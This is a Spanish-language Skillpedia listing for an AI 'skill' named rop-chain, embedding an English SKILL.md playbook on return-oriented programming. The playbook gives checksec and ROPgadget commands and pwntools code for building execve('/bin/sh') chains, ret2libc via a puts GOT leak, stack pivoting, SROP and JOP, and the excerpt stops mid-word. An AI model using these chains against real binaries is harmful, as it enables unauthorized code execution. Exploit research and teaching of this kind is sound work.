Saltar al contenido
Skillpedia
Seguridad6,5 mil · #14175

rop-chain

Qué hace

Explica cómo pequeños fragmentos de código que ya existen en un programa pueden enlazarse cuando las protecciones bloquean la inyección de código normal. Va dirigida a desarrolladores de explotos e investigadores que trabajan con programas autorizados.

Cuándo usarla

  • ✓Cuando un desarrollador de explotos se encuentra con una protección de pila no ejecutable y necesita entender las opciones.
  • ✓Cuando un investigador quiere listar fragmentos de código útiles de un binario para analizarlo.
  • ✓Cuando un probador necesita comprobar cómo la aleatorización de direcciones o la independencia de posición limitan una cadena planeada.

Link de la skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“Muéstrame qué protecciones de memoria usa este programa y si limitan lo que se puede hacer con él.”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

La skill indica a la IA que compruebe qué protecciones tiene el programa, busque en él fragmentos de código útiles y anote los límites que esas protecciones imponen a cualquier cadena.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

ROP Chain Construction Playbook

ROP (Return-Oriented Programming) and JOP (Jump-Oriented) repurpose existing code fragments ("gadgets") ending in ret / jmp <reg> to build arbitrary computation without injecting code. Required when NX/DEP prevents shellcode execution.

1. Inventory mitigations

Before building the chain, know what protections you face:

checksec --file=/tmp/binary
# Or
pwn checksec /tmp/binary

Output flags:

  • NX: stack non-executable → ROP needed
  • PIE: position-independent → need leak first
  • RELRO (partial/full): GOT writable / read-only
  • Canary: stack-cookie → leak/bypass needed
  • ASLR: addresses randomized → leak needed for libc/PIE

2. Gadget discovery

# ROPgadget (most common)
ROPgadget --binary /tmp/binary --depth 8 > /tmp/gadgets.txt

# Filter useful ones
grep ': pop rdi ; ret$' /tmp/gadgets.txt    # syscall arg1 setup
grep ': pop rsi ; ret$' /tmp/gadgets.txt    # syscall arg2 setup
grep ': pop rdx ; ret$' /tmp/gadgets.txt    # arg3
grep ': syscall ; ret$' /tmp/gadgets.txt    # syscall instruction
grep ': ret$' /tmp/gadgets.txt | head       # bare ret (stack alignment)

# Alternative: ropper
ropper --file /tmp/binary --search 'pop rdi'
ropper --file /tmp/binary --search 'syscall'

# Alternative: one_gadget for libc one-shot RCE
one_gadget /lib/x86_64-linux-gnu/libc.so.6

3. Common chain patterns

Direct execve("/bin/sh") via syscall (x86_64)

from pwn import *

# Gadgets from /tmp/binary
POP_RDI = 0x4011a3       # pop rdi ; ret
POP_RSI = 0x4011a1       # pop rsi ; ret
POP_RDX = 0x4011a5       # pop rdx ; ret
POP_RAX = 0x4011a7       # pop rax ; ret
SYSCALL = 0x4011a9       # syscall ; ret

# Target
BIN_SH  = 0x404060       # writeable .bss for "/bin/sh\x00"

chain = b''
# write "/bin/sh\0" to BIN_SH
chain += p64(POP_RAX) + p64(0x68732f6e69622f)  # /bin/sh in little-endian, no null at end
chain += p64(POP_RDI) + p64(BIN_SH)
# stos or mov [rdi], rax — need gadget
# (this needs more gadgets, see "write-what-where" section below)

# execve(BIN_SH, NULL, NULL)
chain += p64(POP_RAX) + p64(0x3b)    # SYS_execve = 59
chain += p64(POP_RDI) + p64(BIN_SH)
chain += p64(POP_RSI) + p64(0)
chain += p64(POP_RDX) + p64(0)
chain += p64(SYSCALL)

Via libc (if libc address leaked)

# Easier — call system("/bin/sh") in libc
libc_base = leaked_libc_addr - libc.symbols.puts   # offset from puts to base

chain = b''
chain += p64(POP_RDI) + p64(libc_base + next(libc.search(b'/bin/sh')))
chain += p64(libc_base + libc.symbols['system'])
# Some systems need a ret-aligning gadget for stack alignment before system
chain = p64(RET_GADGET) + chain

one_gadget (if conditions met)

one_gadget finds libc addresses that call execve("/bin/sh") with one jump, no setup. Constraints (e.g. [rsp+0x70] == NULL) must be met:

one_gadget libc.so.6
# 0x4527a constraints: ...
# 0xf03a4 constraints: ...

Pick the constraint that matches the state at your return point.

4. Write-what-where (when no leak available initially)

If you can't read libc directly:

  1. Find puts@plt in the binary
  2. Build a chain that calls puts(puts_got) — leaks libc's puts address
  3. Compute libc base from that
  4. Return to main (or any function that re-runs your chain) and now build the real execve chain
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main     = elf.symbols['main']

leak_chain  = p64(POP_RDI) + p64(puts_got)
leak_chain += p64(puts_plt)
leak_chain += p64(main)  # restart so we can re-input

5. Modern bypass techniques

Stack pivoting

When buffer overflow is small, pivot to a controlled larger region:

# Gadgets needed
POP_RBP = 0x...           # pop rbp ; ret
LEAVE_RET = 0x...         # mov rsp, rbp; pop rbp; ret

# Pivot to attacker-controlled buffer
chain = p64(LARGE_BUFFER - 8) + p64(LEAVE_RET)

Sigreturn-Oriented Programming (SROP)

Few gadgets available? SROP uses rt_sigreturn syscall to restore full CPU state from a sigframe on the stack — sets every register at once:

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = SYSCALL
chain = p64(POP_RAX) + p64(0xf) + p64(SYSCALL) + bytes(frame)

JOP (Jump-Oriented)

When ret-poisoning is hardened (CET / shadow stack), use jmp gadgets:

ROPgadget --binary /tmp/bin --jop

Pattern: dispatcher gadget calls each functional gadget via register. Harder to construc

Preguntas frecuentes

¿Qué significa ROP?

La programación orientada a retorno reutiliza fragmentos de código existentes que terminan en instrucciones de retorno para realizar acciones.

¿Por qué importa para la defensa?

Conocer estas técnicas ayuda a los desarrolladores a juzgar si sus protecciones son eficaces.

¿Funciona en todos los programas?

No. Protecciones como ASLR, PIE y los canarios de pila pueden limitar si una cadena es práctica.

Detalles

Descripción original del autor

ROP/JOP gadget hunting and exploit-chain construction — for NX/DEP bypass on x86/x64/ARM binaries.

repo: BitterSecurity/Decepticon

Popularidad

Estrellas en GitHub
6,5 mil
Posición en el ranking
#14175
Licencia
Apache-2.0
Actualizada
1/11/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas